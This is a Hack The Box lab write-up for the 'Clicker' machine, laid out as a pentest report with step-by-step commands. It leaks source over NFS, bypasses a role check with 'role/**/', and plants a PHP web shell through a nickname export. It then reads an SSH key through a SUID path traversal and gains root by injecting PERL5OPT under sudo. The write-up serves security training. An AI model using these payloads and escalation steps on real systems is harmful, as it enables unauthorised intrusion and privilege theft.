writeup 2024-02-02 · 7 min read

Hack The Box Clicker Writeup (Medium Linux)

Medium Linux box. An NFS backup leaks the source, a role parameter trick grants admin, a PHP nickname export gives RCE, and PERL5OPT through sudo gives root.

Hack The Box Clicker Writeup (Medium Linux)

Summary

Clicker exports /mnt/backups over NFS, and the zip archive there is the whole web application source. Reading it shows save_game.php rejecting a parameter named exactly role while still passing every parameter into the UPDATE statement, so a request using role/**/ as the key sets the account role to Admin. The same weakness lets the player nickname be set to PHP code, and export.php accepts an arbitrary extension, so exporting the player list as .php writes an executable web shell and gives command execution as www-data. A SUID binary owned by jack, /opt/manage/execute_query, copies an unvalidated argument into the file path it opens, which is enough to read jack’s SSH private key. jack may run /opt/monitor.sh through sudo with the environment preserved, so setting PERL5OPT to a payload that runs a command makes bash SUID and yields root.

Independent Challenge - 10.10.11.232

export IP=10.10.11.232

Service Enumeration

IP AddressPorts Open
10.10.11.232TCP: 22, 80, 111

Web Server Enumeration

VHost: clicker.htb

BS02: Admin Takeover

Vulnerability Explanation: The vulnerability is a result of insufficient input validation, specifically in the save_game.php file. The code is intended to save a player’s game data to a database, but it fails to properly sanitise user input, allowing an attacker to manipulate the system.

Breakdown of the vulnerability:

  1. The script receives input through the URL parameters ($_GET), specifically clicks and level.

  2. It iterates over all the parameters using a foreach loop, but it checks if the parameter key is role and immediately redirects if true. This is an attempt to prevent users from modifying the ‘role’ parameter.

    1
    2
    3
    4
    5
    6
    7
    8
    
     foreach($_GET as $key=>$value) {
         if (strtolower($key) === 'role') {
             // prevent malicious users to modify role
             header('Location: /index.php?err=Malicious activity detected!');
             die;
         }
         $args[$key] = $value;
     }
    
  3. However, the code then proceeds to use all the received parameters ($args) to update the player’s profile without properly validating or sanitising them.

    1
    
     save_profile($_SESSION['PLAYER'], $_GET);
    
  4. The URL can be crafted to include a role parameter with a value of Admin. Despite the attempt to block changes to the ‘role’ parameter, the attacker cleverly uses role/**/ to bypass the check. This takes advantage of the fact that the code only checks for an exact match of ‘role’ and doesn’t consider variations like ‘role/’.

    1
    
     http://clicker.htb/save_game.phpclicks=999&level=999&role/**/=Admin
    
  5. The save_profile function in db_utils.php then builds a SQL query using the input parameters without proper validation or sanitation, making it susceptible to SQL injection.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
     function save_profile($player, $args) {
         global $pdo;
         $params = ["player"=>$player];
         $setStr = "";
         foreach ($args as $key => $value) {
             $setStr .= $key . "=" . $pdo->quote($value) . ",";
         }
         $setStr = rtrim($setStr, ",");
         $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
         $stmt -> execute($params);
     }
    

As a result, an attacker can manipulate the role parameter and potentially perform SQL injection, leading to unauthorised changes in the user’s role, such as elevating their privileges to admin.

Severity: Elevated

Steps to Reproduce the Attack:

  1. Create an account at http://clicker.htb/register.php

  2. Log in to your newly created account at http://clicker.htb/login.php

  3. Access http://clicker.htb/save_game.php?clicks=999&level=999&role/**/=Admin

  4. Log out and then log in to your account, you’ll see a new section at the home page: Administration

BS03: Initial Access - PHP Remote Code Execution

Vulnerability Explanation: Behind Security was able to execute commands on the behalf of the user www-data (who is currently running the web server). The vulnerability is exploitable through a chaining of vulnerabilities: first, the attacker needs to use the save_game.php to obtain admin access (refer to BS02), and then use the same script to change its username to a malicious php script in order to execute commands when the game data is exported through /export.php. The export script doesn’t check if the extension provided for the export is valid or not, enabling an attacker to create a file with any extension, in this case, .php.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Refer to BS02 to obtain admin privileges

  2. Send a GET request to save_game.php in order to change your nickname to a php script: curl -H "Cookie: PHPSESSID=your_session_cookie" "http://clicker.htb/save_game.php?level=1&clicks=1&nickname=<?php+system(\$_GET\['cmd'\]);?>"

  3. Export the players sending a POST request to export.php: curl -X POST --data "extension=php" -H "Cookie: PHPSESSID=your_session_cookie" http://clicker.htb/export.php -vv

  4. Visit the newly created export (refer to the location section from item 3’s response)

  5. A PoC has been created to exploit the vulnerability. Refer to exploit.py.

RPC Bind - NFS

BS01: Exposed Mount - Backups

Vulnerability Explanation: NFS is a client/server system that allows users to access files across a network and treat them as if they resided in a local file directory. The nmap scan revealed the presence of NFS, and we are able to mount a remote backup folder (containing a zip archive of the entire web application) to our machine, retrieving sensitive files and source codes.

Severity: High

Vulnerability Fix: (…)

Steps to Reproduce the Attack:

  1. Install nfs tools on your local system (if debian-based): sudo apt install nfs-common and then list the available mounts on the remote system: showmount -e 10.10.11.232

  2. Create a temporary folder in order to mount: mkdir /tmp/backups and then sudo mount -t nfs 10.10.11.232:/mnt/backups /tmp/backups/ -o nolock

  3. Enjoy the zip archive at /tmp/backups/clicker.htb_backup.zip

Post Exploitation

BS04: LPE to Jack

Vulnerability Explanation: A software owned by user Jack (/opt/manage/execute_query) was found to be vulnerable. Behind Security downloaded the program to its attacking machine to further analysis using the tool ghidra and discovered a flaw that results in an attacker being able to read any files on the behalf of the user jack, because the executable has a SUID bit set (which means that the program is executed by jack).

The vulnerability in this script happens from the way it handles the default case in the switch statement. In the default case, the script assumes that the user-provided input, which is not recognised as a specific case (0, 1, 2, 3, or 4), is a custom string and directly copies it into the pcVar3 variable. This custom string is then used to construct a file path for further operations.

Here’s the code snippet for the default case:

1
2
default:
    strncpy(pcVar3, *(char **)(param_2 + 0x10), 0x14);

There is no validation or sanitization of the user-provided custom string. If an attacker provides a specially crafted string as a command-line argument, they could manipulate the file path constructed by the script. This could lead to unintended consequences, such as reading or overwriting sensitive files on the system.

Vulnerability Fix: (…)

Severity: High

Steps to Reproduce the Attack:

  1. Read jack’s private id_rsa by executing: /opt/manage/execute_query 5 ../.ssh/id_rsa

  2. Copy, format it properly and save it to your machine.

  3. Use it to log in as jack without knowing the password. But first, change the permissions: chmod 600 id_rsa && ssh -i id_rsa jack@clicker.htb

BS05: LPE to root

Vulnerability Explanation: A critical vulnerability was identified in the script monitor.sh. The script is configured to run with elevated privileges. User ‘jack’ can run the script via sudo with environment variable preservation, configuration that allows attackers to couple with inadequate input validation. The attacker leveraged the ability to execute the script with sudo and preserve environment variables:

1
2
3
4
5
$sudo -l 

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

To inject a malicious payload into the execution environment. The payload, provided as a command argument, manipulated the PERL5OPT environment variable, leading to the execution of arbitrary system commands. Further reference for the vulnerability can be found here.

Vulnerability Fix: (…)

Severity: Extreme

Steps to Reproduce the Attack:

  1. SSH in as jack (refer to BS04)

  2. Run: sudo --preserve-env 'COMMAND=chmod +s /bin/bash' 'PERL5OPT=-Mbase;system("$ENV{COMMAND}");' /opt/monitor.sh and then /bin/bash -p.

This post is licensed under CC BY 4.0 by the author.